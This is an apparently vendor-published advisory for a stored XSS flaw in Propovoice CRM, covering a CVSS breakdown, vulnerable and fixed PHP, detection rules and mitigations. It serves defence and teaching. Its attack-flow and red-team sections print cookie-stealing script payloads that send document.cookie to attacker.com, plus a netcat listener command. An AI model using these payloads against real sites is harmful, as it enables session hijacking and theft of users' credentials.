CVE-2024-4747
Executive Summary
CVE-2024-4747 is a Stored Cross-Site Scripting (XSS) vulnerability in the Propovoice CRM application, affecting all versions up to and including 1.7.6.2. This vulnerability allows an authenticated attacker (or an unauthenticated attacker if registration is open) to inject malicious scripts into web pages generated by the CRM. When other users view the affected page, the injected script executes in their browser, potentially leading to session hijacking, data theft, or defacement.
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The vendor, Propovoice, has not released a patch as of the latest advisory. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using this CRM.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP/JavaScript application (Propovoice CRM). No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – An unauthenticated attacker can trigger the stored XSS if the application allows user registration or if a privileged user visits a crafted link.
- User Interaction (UI): Required – The victim must visit the affected page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): Low – Limited ability to disrupt service.
Threat Level: High. Stored XSS can lead to persistent compromise of user sessions and data.
Deep Dive & Mechanics
The vulnerability exists in the Propovoice CRM’s input handling for fields such as contact names, notes, or custom fields. The application fails to sanitize or encode user-supplied data before rendering it in HTML pages. An attacker can inject a payload like:
<script>alert('XSS')</script>
When stored in the database, this payload is later retrieved and rendered in the browser of any user viewing the affected record. The lack of output encoding allows the script to execute in the context of the victim’s session.
Root Cause: The application uses echo or print statements without proper escaping (e.g., htmlspecialchars() in PHP) when displaying user input.
Attack Flow:
- Attacker registers or logs in (if registration is open).
- Attacker navigates to a form that accepts user input (e.g., "Add Contact").
- Attacker submits a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. - The payload is stored in the database.
- Victim (e.g., admin) views the contact list or the specific contact.
- The script executes, sending the victim’s cookies to the attacker.
Vulnerable vs. Patched Code
Vulnerable Code (PHP example):
<?php
$name = $_POST['name']; // No sanitization
echo "<div>Contact: $name</div>"; // Direct output
?>
Patched Code (Hypothetical):
<?php
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
echo "<div>Contact: $name</div>";
?>
The patched version uses htmlspecialchars() to encode special characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A running instance of Propovoice CRM (version <= 1.7.6.2).
- User registration enabled or an existing account.
Steps:
- Setup Listener: Start a netcat listener to capture exfiltrated data:
nc -lvnp 8080 - Craft Payload: Use a payload that exfiltrates cookies:
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script> - Inject Payload: Log in to the CRM, navigate to a form (e.g., "Add Contact"), and submit the payload in a vulnerable field.
- Trigger Execution: Wait for an admin or other user to view the affected record. The script will execute and send cookies to your listener.
Alternative Payload (Session Hijacking):
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Defender)
Detection:
- Monitor web application logs for unusual input patterns (e.g.,
<script>tags). - Use WAF rules to block common XSS payloads.
- Deploy CSP headers to mitigate impact.
Hunting:
- Search database for stored XSS payloads:
SELECT * FROM contacts WHERE name LIKE '%<script>%'; - Review HTTP requests for encoded or obfuscated JavaScript.
Mitigation:
- Apply input validation and output encoding.
- Restrict user registration if not needed.
- Use Content Security Policy (CSP) to block inline scripts.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to unknown domains containing cookie data.
- Suspicious
GETrequests with?c=or?cookie=parameters.
- Host:
- Database entries containing
<script>tags in text fields. - Unexpected JavaScript files in web root.
- Database entries containing
- Logs:
- Web server logs showing
POSTrequests with<script>payloads. - Error logs with
Refused to execute inline script(if CSP is enabled).
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2024_4747_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Propovoice CRM"
author = "Valters IT"
date = "2024-10-27"
cve = "CVE-2024-4747"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Propovoice CRM
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Propovoice CRM
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/index.php'
cs-params|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in admin panels (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4747 Stored XSS Payload"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable User Registration: If not required, disable self-registration to reduce attack surface.
- Apply WAF Rules: Block requests containing
<script>tags in POST parameters. - Implement CSP: Add a Content Security Policy header to block inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self'
Long-Term Fix:
- Patch: Await an official patch from Propovoice. If none is available, consider migrating to a different CRM.
- Code Hardening: If you have access to the source code, add output encoding using
htmlspecialchars()in PHP or equivalent in other languages. - Input Validation: Use a whitelist approach for allowed characters in user input fields.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter malicious payloads:
location / { if ($request_body ~* "<script") { return 403; } }
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.